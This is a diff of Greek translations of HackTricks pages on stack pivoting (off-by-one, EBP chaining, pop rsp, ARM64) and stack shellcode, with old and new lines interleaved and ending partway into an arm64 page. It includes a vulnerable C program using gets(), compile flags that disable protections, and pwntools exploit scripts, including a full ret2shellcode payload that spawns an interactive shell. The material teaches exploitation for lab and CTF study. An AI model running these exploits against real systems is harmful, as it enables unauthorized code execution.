#### Εκμετάλλευση Off-By-One
Υπάρχει μια συγκεκριμένη παραλλαγή αυτής της τεχνικής που είναι γνωστή ως "Off-By-One Exploit". Χρησιμοποιείται όταν μπορείτε **να τροποποιήσετε μόνο το λιγότερο σημαντικό byte του EBP**. Σε τέτοιες περιπτώσεις, η τοποθεσία μνήμης που αποθηκεύει τη διεύθυνση προς την οποία θα πρέπει να μεταβεί με το **`ret`** πρέπει να μοιράζεται τα πρώτα τρία bytes με το EBP, επιτρέποντας μια παρόμοια χειραγώγηση με περισσότερους περιορισμένους όρους.\
Συνήθως τροποποιείται το byte 0x00 για να μεταβεί όσο το δυνατόν πιο μακριά.
Υπάρχει μια συγκεκριμένη παραλλαγή αυτής της τεχνικής γνωστή ως "Off-By-One Exploit". Χρησιμοποιείται όταν μπορείτε να **τροποποιήσετε μόνο το λιγότερο σημαντικό byte του EBP**. Σε αυτή την περίπτωση, η τοποθεσία μνήμης που αποθηκεύει τη διεύθυνση στην οποία θα γίνει η **`ret`** πρέπει να μοιράζεται τα πρώτα τρία bytes με το EBP, επιτρέποντας παρόμοια χειρισμό με πιο περιορισμένες συνθήκες.\
Συνήθως τροποποιείται το byte 0x00 για να πηδήξει όσο το δυνατόν πιο μακριά.
Επίσης, είναι συνηθισμένο να χρησιμοποιείται ένα RET sled στη στοίβα και να τοποθετείται η πραγματική αλυσίδα ROP στο τέλος για να είναι πιο πιθανό να δείχνει το νέο ESP μέσα στο RET SLED και να εκτελείται η τελική αλυσίδα ROP.
Επίσης, είναι κοινό να χρησιμοποιείται ένα RET sled στο stack και να τοποθετείται η πραγματική ROP αλυσίδα στο τέλος για να είναι πιο πιθανό ότι το νέο ESP δείχνει μέσα στο RET SLED και η τελική ROP αλυσίδα εκτελείται.
### **Αλυσίδα EBP**
### **EBP Chaining**
Επομένως, τοποθετώντας μια ελεγχόμενη διεύθυνση στην είσοδο `EBP` της στοίβας και μια διεύθυνση στο `EIP` για το `leave; ret`, είναι δυνατό να **μετακινηθεί το `ESP` στην ελεγχόμενη διεύθυνση `EBP` από τη στοίβα**.
Επομένως, τοποθετώντας μια ελεγχόμενη διεύθυνση στην είσοδο `EBP` του stack και μια διεύθυνση για `leave; ret` στο `EIP`, είναι δυνατόν να **μετακινήσετε το `ESP` στη διεύθυνση `EBP` που ελέγχεται από το stack**.
Τώρα, το **`ESP`** ελέγχεται δείχνοντας σε μια επιθυμητή διεύθυνση και η επόμενη εντολή που θα εκτελεστεί είναι ένα `RET`. Για να καταχραστείτε αυτό, είναι δυνατό να τοποθετήσετε στην ελεγχόμενη θέση του ESP αυτό:
Τώρα, το **`ESP`** ελέγχεται δείχνοντας σε μια επιθυμητή διεύθυνση και η επόμενη εντολή που θα εκτελεστεί είναι ένα `RET`. Για να το καταχραστείτε, είναι δυνατόν να τοποθετήσετε στην ελεγχόμενη θέση ESP αυτό:
* **`&(επόμενο ψεύτικο EBP)`** -> Φόρτωση του νέου EBP λόγω του `pop ebp` από την εντολή `leave`
* **`&(next fake EBP)`** -> Φορτώνει το νέο EBP λόγω του `pop ebp` από την εντολή `leave`
* **`system()`** -> Καλείται από το `ret`
* **`&(leave;ret)`** -> Καλείται μετά τη λήξη του συστήματος, θα μετακινήσει το ESP στο ψεύτικο EBP και θα ξεκινήσει ξανά
* **`&(leave;ret)`** -> Καλείται μετά την ολοκλήρωση του συστήματος, θα μετακινήσει το ESP στο ψεύτικο EBP και θα ξεκινήσει ξανά
* **`&("/bin/sh")`**-> Παράμετρος για το `system`
Βασικά με αυτόν τον τρόπο είναι δυνατό να αλυσίδωσετε αρκετά ψεύτικα EBPs για να ελέγξετε τη ροή του προγράμματος.
Βασικά, με αυτόν τον τρόπο είναι δυνατόν να αλυσιοδέσετε αρκετά ψεύτικα EBPs για να ελέγξετε τη ροή του προγράμματος.
Αυτό είναι σαν ένα [ret2lib](../rop-return-oriented-programing/ret2lib/), αλλά πιο πολύπλοκο χωρίς προφανές όφελος αλλά θα μπορούσε να είναι ενδιαφέρον σε κάποιες εξαιρετικές περιπτώσεις.
Αυτό είναι σαν ένα [ret2lib](../rop-return-oriented-programing/ret2lib/), αλλά πιο περίπλοκο χωρίς προφανές όφελος αλλά θα μπορούσε να είναι ενδιαφέρον σε ορισμένες περιπτώσεις.
Επιπλέον, εδώ έχετε ένα [**παράδειγμα ενός προκλητικού**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) που χρησιμοποιεί αυτή την τεχνική με ένα **διαρροή στη στοίβα** για να καλέσει μια νικητήρια συνάρτηση. Αυτό είναι το τελικό φορτίο από τη σελίδα:
Επιπλέον, εδώ έχετε ένα [**παράδειγμα μιας πρόκλησης**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) που χρησιμοποιεί αυτή την τεχνική με μια **διαρροή stack** για να καλέσει μια νικηφόρα συνάρτηση. Αυτό είναι το τελικό payload από τη σελίδα:
```python
from pwn import *
@ -104,10 +105,10 @@ pause()
p.sendline(payload)
print(p.recvline())
```
## Η EBP ενδέχεται να μη χρησιμοποιείται
## EBP μπορεί να μην χρησιμοποιείται
Όπως [**εξηγείται σε αυτήν την ανάρτηση**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), αν ένα δυαδικό αρχείο μεταγλωττίζεται με κάποιες βελτιστοποιήσεις, το **EBP δεν καταφέρνει να ελέγξει το ESP**, επομένως, οποιαδήποτε εκμετάλλευση που λειτουργεί ελέγχοντας το EBP θα αποτύχει βασικά επειδή δεν έχει κανένα πραγματικό αποτέλεσμα.\
Αυτό συμβαίνει επειδή το **προλόγιο και το επίλογο αλλάζουν** αν το δυαδικό αρχείο είναι βελτιστοποιημένο.
Όπως [**εξηγείται σε αυτή την ανάρτηση**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), αν ένα δυαδικό αρχείο έχει μεταγλωττιστεί με κάποιες βελτιστοποιήσεις, το **EBP ποτέ δεν ελέγχει το ESP**, επομένως, οποιαδήποτε εκμετάλλευση που λειτουργεί ελέγχοντας το EBP θα αποτύχει βασικά γιατί δεν έχει καμία πραγματική επίδραση.\
Αυτό συμβαίνει επειδή οι **προλόγοι και οι επιλόγοι αλλάζουν** αν το δυαδικό αρχείο είναι βελτιστοποιημένο.
* **Μη βελτιστοποιημένο:**
```bash
@ -131,11 +132,11 @@ add $0x10c,%esp # reduce stack size
pop %ebx # restore ebx
ret # return
```
## Άλλοι τρόποι για να ελέγχετε το RSP
## Άλλοι τρόποι ελέγχου του RSP
### **`pop rsp`** gadget
[**Σε αυτήν τη σελίδα**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) μπορείτε να βρείτε ένα παράδειγμα χρησιμοποιώντας αυτήν την τεχνική. Για αυτήν την πρόκληση χρειαζόταν να καλεστεί μια συνάρτηση με 2 συγκεκριμένα ορίσματα, και υπήρχε ένα **`pop rsp` gadget** και υπήρχε ένα **διαρροή από τη στοίβα**:
[**Σε αυτή τη σελίδα**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) μπορείτε να βρείτε ένα παράδειγμα που χρησιμοποιεί αυτή την τεχνική. Για αυτή την πρόκληση ήταν απαραίτητο να καλέσετε μια συνάρτηση με 2 συγκεκριμένα επιχειρήματα, και υπήρχε ένα **`pop rsp` gadget** και υπάρχει μια **leak από τη στοίβα**:
```python
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments
@ -179,7 +180,7 @@ pause()
p.sendline(payload)
print(p.recvline())
```
### xchg \<reg>, rsp εργαλείο
### xchg \<reg>, rsp gadget
```
pop <reg> <=== return pointer
<reg value>
@ -187,7 +188,7 @@ xchg <reg>, rsp
```
### jmp esp
Ελέγξτε την τεχνική ret2esp εδώ:
Δείτε την τεχνική ret2esp εδώ:
{% content-ref url="../rop-return-oriented-programing/ret2esp-ret2reg.md" %}
[ret2esp-ret2reg.md](../rop-return-oriented-programing/ret2esp-ret2reg.md)
@ -198,22 +199,22 @@ xchg <reg>, rsp
* [https://bananamafia.dev/post/binary-rop-stackpivot/](https://bananamafia.dev/post/binary-rop-stackpivot/)
* [https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting)
* [https://guyinatuxedo.github.io/17-stack\_pivot/dcquals19\_speedrun4/index.html](https://guyinatuxedo.github.io/17-stack\_pivot/dcquals19\_speedrun4/index.html)
* 64 bits, εκμετάλλευση off by one με ένα rop chain που ξεκινά με ένα ret sled
* 64 bits, εκμετάλλευση off by one με μια αλυσίδα rop που ξεκινά με ένα ret sled
* [https://guyinatuxedo.github.io/17-stack\_pivot/insomnihack18\_onewrite/index.html](https://guyinatuxedo.github.io/17-stack\_pivot/insomnihack18\_onewrite/index.html)
* 64 bit, χωρίς relro, canary, nx και pie. Το πρόγραμμα παρέχει ένα διαρροή για το stack ή το pie και ένα WWW ενός qword. Πρώτα πάρτε τη διαρροή του stack και χρησιμοποιήστε το WWW για να πάτε πίσω και να πάρετε τη διαρροή του pie. Στη συνέχεια χρησιμοποιήστε το WWW για να δημιουργήσετε έναν αιώνιο βρόγχο καταχρώμενοι τις καταχωρήσεις `.fini_array` + καλώντας το `__libc_csu_fini` ([περισσότερες πληροφορίες εδώ](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini\_array.md)). Καταχρώντας αυτήν τη "αιώνια" εγγραφή, γράφεται ένα ROP chain στο .bss και καταλήγει να το καλεί περιστρέφοντας με το RBP.
* 64 bit, χωρίς relro, canary, nx και pie. Το πρόγραμμα παρέχει μια leak για stack ή pie και μια WWW ενός qword. Πρώτα πάρτε την stack leak και χρησιμοποιήστε την WWW για να επιστρέψετε και να πάρετε την pie leak. Στη συνέχεια, χρησιμοποιήστε την WWW για να δημιουργήσετε έναν αιώνιο βρόχο εκμεταλλευόμενοι τις εγγραφές `.fini_array` + καλώντας `__libc_csu_fini` ([περισσότερες πληροφορίες εδώ](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini\_array.md)). Εκμεταλλευόμενοι αυτή την "αιώνια" εγγραφή, γράφεται μια αλυσίδα ROP στο .bss και καταλήγει να την καλεί κάνοντας pivoting με RBP.
## ARM64
Στο ARM64, οι **πρόλογοι και επίλογοι** των συναρτήσεων **δεν αποθηκεύουν και ανακτούν το SP registry** στη στοίβα. Επιπλέον, η εντολή **`RET`** δεν επιστρέφει στη διεύθυνση που δείχνει το SP, αλλά **στη διεύθυνση μέσα στο `x30`**.
Στο ARM64, οι **προλόγοι και οι επιλόγοι** των συναρτήσεων **δεν αποθηκεύουν και δεν ανακτούν το μητρώο SP** στο stack. Επιπλέον, η **εντολή `RET`** δεν επιστρέφει στη διεύθυνση που υποδεικνύεται από το SP, αλλά **στη διεύθυνση μέσα στο `x30`**.
Συνεπώς, από προεπιλογή, απλά καταχρώμενοι τον επίλογο δεν θα μπορούσατε να ελέγξετε το SP registry με τον υπεργραφόμενο κάποια δεδομένα μέσα στη στοίβα. Και ακόμη κι αν καταφέρετε να ελέγξετε το SP, θα χρειαζόσασταν έναν τρόπο να **ελέγξετε το `x30`** register.
Επομένως, από προεπιλογή, απλά εκμεταλλευόμενοι τον επίλογο **δεν θα μπορείτε να ελέγξετε το μητρώο SP** αντικαθιστώντας κάποια δεδομένα μέσα στο stack. Και ακόμη και αν καταφέρετε να ελέγξετε το SP, θα χρειαστείτε έναν τρόπο να **ελέγξετε το μητρώο `x30`**.
* πρόλογος
```armasm
sub sp, sp, 16
stp x29, x30, [sp] // [sp] = x29; [sp + 8] = x30
mov x29, sp // Το FP δείχνει στο frame record
mov x29, sp // FP points to frame record
```
* επίλογος
@ -224,25 +225,26 @@ ret
```
{% hint style="danger" %}
Ο τρόπος για να εκτελέσετε κάτι παρόμοιο με το stack pivoting στο ARM64 θα ήταν να μπορείτε να **ελέγχετε το `SP`** (ελέγχοντας κάποιο register του οποίου η τιμή περνά στο `SP` ή επειδή για κάποιο λόγο το `SP` παίρνει τη διεύθυνσή του από τη στοίβα και έχουμε ένα υπερχείλιση) και στη συνέχεια να **καταχρηστείτε τον επίλογο** για να φορτώσετε τον **`x30`** register από έναν **ελεγχόμενο `SP`** και να **`RET`** σε αυτόν.
Ο τρόπος για να εκτελέσετε κάτι παρόμοιο με το stack pivoting στο ARM64 θα ήταν να μπορείτε να **ελέγξετε το `SP`** (ελέγχοντας κάποιο μητρώο του οποίου η τιμή μεταφέρεται στο `SP` ή επειδή για κάποιο λόγο το `SP` παίρνει τη διεύθυνσή του από το stack και έχουμε μια υπερχείλιση) και στη συνέχεια **να εκμεταλλευτείτε τον επίλογο** για να φορτώσετε το **μητρώο `x30`** από ένα **ελεγχόμενο `SP`** και **να επιστρέψετε** σε αυτό.
{% endhint %}
Επίσης, στην ακόλουθη σελίδα μπορείτε να δείτε το ισοδύναμο του **Ret2esp στο ARM64**:
Επίσης, στην επόμενη σελίδα μπορείτε να δείτε την ισοδύναμη του **Ret2esp στο ARM64**:
{% content-ref url="../rop-return-oriented-programing/ret2esp-ret2reg.md" %}
[ret2esp-ret2reg.md](../rop-return-oriented-programing/ret2esp-ret2reg.md)
{% endcontent-ref %}
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστήριξη HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγράφου**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,26 +1,27 @@
# Κώδικας Shell στη Στοίβα
# Stack Shellcode
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Βασικές Πληροφορίες
## Basic Information
Το **κώδικας shell στη στοίβα** είναι μια τεχνική που χρησιμοποιείται στη **δυαδική εκμετάλλευση** όπου ένας επιτιθέμενος γράφει κώδικα shell στη στοίβα ενός ευάλωτου προγράμματος και στη συνέχεια τροποποιεί το **Δείκτη Εντολών (IP)** ή το **Επεκτεταμένο Δείκτη Εντολών (EIP)** για να δείχνει στη θέση αυτού του κώδικα shell, προκαλώντας την εκτέλεσή του. Αυτή είναι μια κλασική μέθοδος που χρησιμοποιείται για να αποκτηθεί μη εξουσιοδοτημένη πρόσβαση ή να εκτελεστούν αυθαίρετες εντολές σε ένα σύστημα στόχο. Εδώ υπάρχει μια ανάλυση της διαδικασίας, συμπεριλαμβανομένου ενός απλού παραδείγματος σε C και πώς θα μπορούσατε να γράψετε ένα αντίστοιχο εκμετάλλευση χρησιμοποιώντας Python με το **pwntools**.
**Stack shellcode** είναι μια τεχνική που χρησιμοποιείται στην **binary exploitation** όπου ένας επιτιθέμενος γράφει shellcode στη στοίβα ενός ευάλωτου προγράμματος και στη συνέχεια τροποποιεί τον **Instruction Pointer (IP)** ή τον **Extended Instruction Pointer (EIP)** για να δείξει στη θέση αυτού του shellcode, προκαλώντας την εκτέλεσή του. Αυτή είναι μια κλασική μέθοδος που χρησιμοποιείται για να αποκτήσει μη εξουσιοδοτημένη πρόσβαση ή να εκτελέσει αυθαίρετες εντολές σε ένα στοχοποιημένο σύστημα. Ακολουθεί μια ανάλυση της διαδικασίας, συμπεριλαμβανομένου ενός απλού παραδείγματος C και πώς θα μπορούσατε να γράψετε μια αντίστοιχη εκμετάλλευση χρησιμοποιώντας Python με **pwntools**.
### Παράδειγμα σε C: Ένα Ευάλωτο Πρόγραμμα
### C Example: A Vulnerable Program
Ας ξεκινήσουμε με ένα απλό παράδειγμα ενός ευάλωτου προγράμματος σε C:
Ας ξεκινήσουμε με ένα απλό παράδειγμα ενός ευάλωτου προγράμματος C:
```c
#include <stdio.h>
#include <string.h>
@ -36,22 +37,22 @@ printf("Returned safely\n");
return 0;
}
```
Αυτό το πρόγραμμα είναι ευάλωτο σε ένα buffer overflow λόγω της χρήσης της συνάρτησης `gets()`.
Αυτό το πρόγραμμα είναι ευάλωτο σε υπερχείλιση μνήμης λόγω της χρήσης της συνάρτησης `gets()`.
### Σύνταξη
### Συγκέντρωση
Για να μεταγλωτίσετε αυτό το πρόγραμμα απενεργοποιώντας διάφορες προστασίες (για να προσομοιώσετε ένα ευάλωτο περιβάλλον), μπορείτε να χρησιμοποιήσετε την ακόλουθη εντολή:
Για να συγκεντρώσετε αυτό το πρόγραμμα απενεργοποιώντας διάφορες προστασίες (για να προσομοιώσετε ένα ευάλωτο περιβάλλον), μπορείτε να χρησιμοποιήσετε την παρακάτω εντολή:
```sh
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
```
* `-fno-stack-protector`: Απενεργοποιεί την προστασία της στοίβας.
* `-z execstack`: Κάνει τη στοίβα εκτελέσιμη, η οποία είναι απαραίτητη για την εκτέλεση κώδικα κέλυφους που αποθηκεύεται στη στοίβα.
* `-no-pie`: Απενεργοποιεί το Position Independent Executable, κάνοντας πιο εύκολο το να προβλέψουμε τη διεύθυνση μνήμης όπου θα βρίσκεται ο κώδικας κέλυφους μας.
* `-m32`: Μεταγλωτίζει το πρόγραμμα ως εκτελέσιμο 32-bit, συχνά χρησιμοποιείται για απλότητα στην ανάπτυξη εκμετάλλευσης.
* `-z execstack`: Κάνει τη στοίβα εκτελέσιμη, κάτι που είναι απαραίτητο για την εκτέλεση του shellcode που είναι αποθηκευμένο στη στοίβα.
* `-no-pie`: Απενεργοποιεί το Position Independent Executable, διευκολύνοντας την πρόβλεψη της διεύθυνσης μνήμης όπου θα βρίσκεται το shellcode μας.
* `-m32`: Συμπιέζει το πρόγραμμα ως 32-bit εκτελέσιμο, συχνά χρησιμοποιούμενο για απλότητα στην ανάπτυξη εκμεταλλεύσεων.
### Εκμετάλλευση Python χρησιμοποιώντας το Pwntools
### Python Exploit using Pwntools
Εδώ είναι πώς θα μπορούσατε να γράψετε μια εκμετάλλευση σε Python χρησιμοποιώντας το **pwntools** για να εκτελέσετε μια επίθεση **ret2shellcode**.
Here's how you could write an exploit in Python using **pwntools** to perform a **ret2shellcode** attack:
```python
from pwn import *
@ -78,22 +79,39 @@ payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide
p.sendline(payload)
p.interactive()
```
Αυτό το σενάριο κατασκευάζει ένα φορτίο που αποτελείται από ένα **NOP slide**, το **shellcode**, και στη συνέχεια αντικαθιστά το **EIP** με τη διεύθυνση που δείχνει στο NOP slide, εξασφαλίζοντας έτσι την εκτέλεση του shellcode.
Αυτό το σενάριο κατασκευάζει ένα payload που αποτελείται από μια **NOP slide**, το **shellcode**, και στη συνέχεια αντικαθιστά το **EIP** με τη διεύθυνση που δείχνει στη NOP slide, διασφαλίζοντας ότι το shellcode θα εκτελεστεί.
Το **NOP slide** (`asm('nop')`) χρησιμοποιείται για να αυξήσει την πιθανότητα ότι η εκτέλεση θα "ολισθήσει" στο shellcode μας ανεξάρτητα από την ακριβή διεύθυνση. Ρυθμίστε το όρισμα `p32()` στην αρχική διεύθυνση του buffer σας συν ένα offset για να καταλήξετε στο NOP slide.
Η **NOP slide** (`asm('nop')`) χρησιμοποιείται για να αυξήσει την πιθανότητα ότι η εκτέλεση θα "γλιστρήσει" στο shellcode μας ανεξάρτητα από τη συγκεκριμένη διεύθυνση. Ρυθμίστε το επιχείρημα `p32()` στη διεύθυνση εκκίνησης του buffer σας συν ένα offset για να προσγειωθείτε στη NOP slide.
## Προστασίες
* Το [**ASLR**](../../common-binary-protections-and-bypasses/aslr/) **πρέπει να είναι απενεργοποιημένο** για να είναι αξιόπιστη η διεύθυνση σε κάθε εκτέλεση, διαφορετικά η διεύθυνση όπου θα αποθηκευτεί η συνάρτηση δεν θα είναι πάντα η ίδια και θα χρειαζόσασταν κάποια διαρροή για να βρείτε πού φορτώνεται η συνάρτηση κέρδους.
* Τα [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/) πρέπει επίσης να είναι απενεργοποιημένα διαφορετικά η υποχρεωμένη επιστροφή της διεύθυνσης EIP δεν θα ακολουθηθεί ποτέ.
* Το [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) προστασία **stack** θα εμποδίσει την εκτέλεση του shellcode μέσα στο stack επειδή αυτή η περιοχή δεν θα είναι εκτελέσιμη.
* [**ASLR**](../../common-binary-protections-and-bypasses/aslr/) **θα πρέπει να είναι απενεργοποιημένο** για να είναι η διεύθυνση αξιόπιστη σε όλες τις εκτελέσεις ή η διεύθυνση όπου θα αποθηκευτεί η συνάρτηση δεν θα είναι πάντα η ίδια και θα χρειαστείτε κάποια leak για να καταλάβετε πού είναι φορτωμένη η win function.
* [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/) θα πρέπει επίσης να είναι απενεργοποιημένα ή η συμβιβασμένη διεύθυνση επιστροφής EIP δεν θα ακολουθηθεί ποτέ.
* [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **stack** προστασία θα αποτρέψει την εκτέλεση του shellcode μέσα στη στοίβα επειδή αυτή η περιοχή δεν θα είναι εκτελέσιμη.
## Άλλα Παραδείγματα & Αναφορές
* [https://ir0nstone.gitbook.io/notes/types/stack/shellcode](https://ir0nstone.gitbook.io/notes/types/stack/shellcode)
* [https://guyinatuxedo.github.io/06-bof\_shellcode/csaw17\_pilot/index.html](https://guyinatuxedo.github.io/06-bof\_shellcode/csaw17\_pilot/index.html)
* 64bit, ASLR με διαρροή διεύθυνσης stack, εγγραφή shellcode και μετάβαση σε αυτό
* 64bit, ASLR με leak διεύθυνσης στοίβας, γράψτε shellcode και πηδήξτε σε αυτό
* [https://guyinatuxedo.github.io/06-bof\_shellcode/tamu19\_pwn3/index.html](https://guyinatuxedo.github.io/06-bof\_shellcode/tamu19\_pwn3/index.html)
* 32 bit, ASLR με διαρροή stack, εγγραφή shellcode και μετάβαση σε αυτό
* 32 bit, ASLR με leak στοίβας, γράψτε shellcode και πηδήξτε σε αυτό
* [https://guyinatuxedo.github.io/06-bof\_shellcode/tu18\_shellaeasy/index.html](https://guyinatuxedo.github.io/06-bof\_shellcode/tu18\_shellaeasy/index.html)
* 32 bit, ASLR με διαρροή stack, σύγκριση για να αποτραπεί η κλήση στο exit(), αντικατάσταση μεταβλητής με μια τιμή και εγγραφή shellcode και μετάβαση σε αυτό
* 32 bit, ASLR με leak στοίβας, σύγκριση για να αποτραπεί η κλήση στο exit(), αντικαταστήστε μια μεταβλητή με μια τιμή και γράψτε shellcode και πηδήξτε σε αυτό
* [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/)
* arm64, χωρίς ASLR, ROP gadget για να κάνετε τη στοίβα εκτελέσιμη και να πηδήξετε στο shellcode στη στοίβα
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,18 +1,19 @@
# Κώδικας Shellcode Στο Stack - arm64
# Stack Shellcode - arm64
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team του HackTricks στο AWS)</strong></a><strong>!</strong></summary>
<summary>Υποστήριξη HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
